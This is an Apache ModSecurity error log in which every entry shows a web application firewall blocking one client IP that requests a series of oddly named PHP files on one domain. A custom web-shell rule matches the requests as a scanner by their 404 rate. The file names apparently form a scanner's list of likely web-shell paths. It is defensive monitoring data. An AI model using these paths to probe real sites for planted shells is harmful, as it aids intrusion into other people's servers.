[Fri Apr 17 08:34:40.357027 2026] [:error] [pid 9152:tid 9191] [client 20.166.7.149:53330] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aeGAIJJYca8I3TNCwIdn0AAAAEE"]
[Fri Apr 17 08:34:41.404303 2026] [:error] [pid 9153:tid 9233] [client 20.166.7.149:20318] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aeGAIeMHGxkTZX3c45d3EgAAAI8"]
[Fri Apr 17 08:34:42.093941 2026] [:error] [pid 51878:tid 51887] [client 20.166.7.149:21028] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aeGAIknQhUtMbw9EsgbcXAAAAQc"]
[Fri Apr 17 08:34:43.016913 2026] [:error] [pid 9152:tid 9206] [client 20.166.7.149:14350] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aeGAI5JYca8I3TNCwIdn3wAAAFA"]
[Fri Apr 17 08:34:43.827952 2026] [:error] [pid 9152:tid 9199] [client 20.166.7.149:16977] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeGAI5JYca8I3TNCwIdn5wAAAEk"]
[Fri Apr 17 08:34:44.874587 2026] [:error] [pid 9263:tid 9277] [client 20.166.7.149:16989] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeGAJBP68VyHNvj1e55QxwAAAMw"]
[Fri Apr 17 08:34:45.700994 2026] [:error] [pid 9153:tid 9228] [client 20.166.7.149:53322] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeGAJeMHGxkTZX3c45d3IQAAAIo"]
[Fri Apr 17 08:34:46.391635 2026] [:error] [pid 25010:tid 25031] [client 20.166.7.149:15461] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeGAJo-7kkf42RarqQ3_rwAAAVI"]
[Fri Apr 17 08:34:47.503502 2026] [:error] [pid 25010:tid 25022] [client 20.166.7.149:51312] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeGAJ4-7kkf42RarqQ3_ugAAAUk"]
[Fri Apr 17 08:34:48.223768 2026] [:error] [pid 25010:tid 25024] [client 20.166.7.149:20307] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeGAKI-7kkf42RarqQ3_vAAAAUs"]
[Fri Apr 17 08:34:48.969475 2026] [:error] [pid 9152:tid 9197] [client 20.166.7.149:14164] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeGAKJJYca8I3TNCwIdoGgAAAEc"]
[Fri Apr 17 08:34:50.505208 2026] [:error] [pid 9153:tid 9219] [client 20.166.7.149:41525] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeGAKuMHGxkTZX3c45d3PQAAAIE"]
[Fri Apr 17 08:34:55.024931 2026] [:error] [pid 9152:tid 9190] [client 20.166.7.149:14347] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "aeGAL5JYca8I3TNCwIdoUgAAAEA"]
[Fri Apr 17 08:34:58.650383 2026] [:error] [pid 34273:tid 34289] [client 20.166.7.149:27028] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "aeGAMmuQDW686mK3dgFGWgAAAY4"]
[Fri Apr 17 08:35:00.448469 2026] [:error] [pid 34273:tid 34276] [client 20.166.7.149:28883] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "aeGANGuQDW686mK3dgFGaQAAAYE"]
[Fri Apr 17 08:35:01.832406 2026] [:error] [pid 51878:tid 51888] [client 20.166.7.149:20290] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albrt.php"] [unique_id "aeGANUnQhUtMbw9EsgbcgQAAAQg"]
[Fri Apr 17 08:35:03.180838 2026] [:error] [pid 9151:tid 9184] [client 20.166.7.149:20297] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeGAN8hTVuRPkua22vTabQAAABc"]
[Fri Apr 17 08:35:03.881732 2026] [:error] [pid 9153:tid 9219] [client 20.166.7.149:28925] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeGAN-MHGxkTZX3c45d3dwAAAIE"]
[Fri Apr 17 08:35:04.801600 2026] [:error] [pid 9151:tid 9164] [client 20.166.7.149:14206] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeGAOMhTVuRPkua22vTacgAAAAM"]
[Fri Apr 17 08:35:06.606279 2026] [:error] [pid 34273:tid 34287] [client 20.166.7.149:20308] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeGAOmuQDW686mK3dgFGggAAAYw"]
[Fri Apr 17 08:35:09.402635 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:13112] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aeGAPeMHGxkTZX3c45d3ggAAAIU"]
[Fri Apr 17 08:35:10.878835 2026] [:error] [pid 9152:tid 9211] [client 20.166.7.149:54529] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aeGAPpJYca8I3TNCwIdovwAAAFU"]
[Fri Apr 17 08:35:12.775978 2026] [:error] [pid 9153:tid 9226] [client 20.166.7.149:17018] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aeGAQOMHGxkTZX3c45d3jAAAAIg"]
[Fri Apr 17 08:35:18.396013 2026] [:error] [pid 9153:tid 9234] [client 20.166.7.149:13084] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aeGARuMHGxkTZX3c45d3nwAAAJA"]
[Fri Apr 17 08:35:19.800087 2026] [:error] [pid 51878:tid 51900] [client 20.166.7.149:28294] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aeGAR0nQhUtMbw9EsgbcjgAAARQ"]
[Fri Apr 17 08:35:22.514735 2026] [:error] [pid 9153:tid 9220] [client 20.166.7.149:29058] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aeGASuMHGxkTZX3c45d3wQAAAII"]
[Fri Apr 17 08:35:25.111328 2026] [:error] [pid 34273:tid 34275] [client 20.166.7.149:29003] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aeGATWuQDW686mK3dgFG0QAAAYA"]
[Fri Apr 17 08:35:31.158644 2026] [:error] [pid 9153:tid 9235] [client 20.166.7.149:14133] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aeGAU-MHGxkTZX3c45d33AAAAJE"]
[Fri Apr 17 08:35:32.266259 2026] [:error] [pid 9153:tid 9223] [client 20.166.7.149:28775] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "aeGAVOMHGxkTZX3c45d35wAAAIU"]
[Fri Apr 17 08:35:35.678842 2026] [:error] [pid 9152:tid 9204] [client 20.166.7.149:15725] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wxeyc.php"] [unique_id "aeGAV5JYca8I3TNCwIdplAAAAE4"]
[Fri Apr 17 08:35:49.813187 2026] [:error] [pid 34273:tid 34278] [client 20.166.7.149:22142] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfil.php"] [unique_id "aeGAZWuQDW686mK3dgFHXgAAAYM"]
[Fri Apr 17 08:35:51.840845 2026] [:error] [pid 9152:tid 9197] [client 20.166.7.149:31962] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfil.php"] [unique_id "aeGAZ5JYca8I3TNCwIdqMwAAAEc"]
[Fri Apr 17 08:35:52.980256 2026] [:error] [pid 25010:tid 25029] [client 20.166.7.149:20659] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfil.php"] [unique_id "aeGAaI-7kkf42RarqQ0AYQAAAVA"]
[Fri Apr 17 08:35:54.723396 2026] [:error] [pid 9152:tid 9208] [client 20.166.7.149:53730] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bfil.php"] [unique_id "aeGAapJYca8I3TNCwIdqZQAAAFI"]
[Fri Apr 17 08:35:56.870279 2026] [:error] [pid 9152:tid 9192] [client 20.166.7.149:52267] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aeGAbJJYca8I3TNCwIdqgwAAAEI"]
[Fri Apr 17 08:35:59.419592 2026] [:error] [pid 34273:tid 34279] [client 20.166.7.149:20665] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aeGAb2uQDW686mK3dgFHiQAAAYQ"]
[Fri Apr 17 08:36:01.853361 2026] [:error] [pid 9152:tid 9190] [client 20.166.7.149:3328] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aeGAcZJYca8I3TNCwIdqrAAAAEA"]
[Fri Apr 17 08:36:04.054848 2026] [:error] [pid 9152:tid 9210] [client 20.166.7.149:40034] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lb.php"] [unique_id "aeGAdJJYca8I3TNCwIdq1gAAAFQ"]
[Fri Apr 17 08:36:08.423499 2026] [:error] [pid 9153:tid 9219] [client 20.166.7.149:52262] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeGAeOMHGxkTZX3c45d4gwAAAIE"]
[Fri Apr 17 08:36:13.857184 2026] [:error] [pid 9151:tid 9179] [client 20.166.7.149:54861] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeGAfchTVuRPkua22vTbJAAAABI"]
[Fri Apr 17 08:36:15.757408 2026] [:error] [pid 51878:tid 51889] [client 20.166.7.149:20483] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeGAf0nQhUtMbw9EsgbdFwAAAQk"]
[Fri Apr 17 08:36:18.636866 2026] [:error] [pid 34273:tid 34278] [client 20.166.7.149:14643] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aeGAgmuQDW686mK3dgFH7gAAAYM"]
[Fri Apr 17 08:36:24.690103 2026] [:error] [pid 9153:tid 9240] [client 20.166.7.149:53583] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aeGAiOMHGxkTZX3c45d4ugAAAJY"]
[Fri Apr 17 08:37:27.216655 2026] [:error] [pid 51878:tid 51886] [client 20.166.7.149:27532] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeGAx0nQhUtMbw9EsgbdywAAAQY"]
[Fri Apr 17 08:37:30.708712 2026] [:error] [pid 9152:tid 9213] [client 20.166.7.149:15682] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeGAypJYca8I3TNCwIdtHwAAAFc"]
[Fri Apr 17 08:37:33.381358 2026] [:error] [pid 9153:tid 9225] [client 20.166.7.149:54773] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeGAzeMHGxkTZX3c45d5wAAAAIc"]
[Fri Apr 17 08:37:35.302028 2026] [:error] [pid 34273:tid 34293] [client 20.166.7.149:20714] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aeGAz2uQDW686mK3dgFJigAAAZI"]
[Fri Apr 17 08:37:36.834551 2026] [:error] [pid 51878:tid 51896] [client 20.166.7.149:16537] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeGA0EnQhUtMbw9Esgbd7wAAARA"]
[Fri Apr 17 08:37:38.362656 2026] [:error] [pid 25010:tid 25024] [client 20.166.7.149:21023] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeGA0o-7kkf42RarqQ0BkwAAAUs"]
[Fri Apr 17 08:37:39.736687 2026] [:error] [pid 9152:tid 9190] [client 20.166.7.149:41473] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeGA05JYca8I3TNCwIdtWwAAAEA"]
[Fri Apr 17 08:37:41.087712 2026] [:error] [pid 9263:tid 9289] [client 20.166.7.149:21039] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byrgo.php"] [unique_id "aeGA1RP68VyHNvj1e55SWwAAANg"]
[Fri Apr 17 08:37:42.365963 2026] [:error] [pid 9151:tid 9184] [client 20.166.7.149:15388] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aeGA1shTVuRPkua22vTcFQAAABc"]
[Fri Apr 17 08:37:44.712862 2026] [:error] [pid 9263:tid 9288] [client 20.166.7.149:14681] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aeGA2BP68VyHNvj1e55SZAAAANc"]
[Fri Apr 17 08:37:47.219131 2026] [:error] [pid 25010:tid 25036] [client 20.166.7.149:27286] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aeGA24-7kkf42RarqQ0BrgAAAVc"]
[Fri Apr 17 08:37:49.688768 2026] [:error] [pid 9151:tid 9162] [client 20.166.7.149:23234] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aeGA3chTVuRPkua22vTcMQAAAAE"]
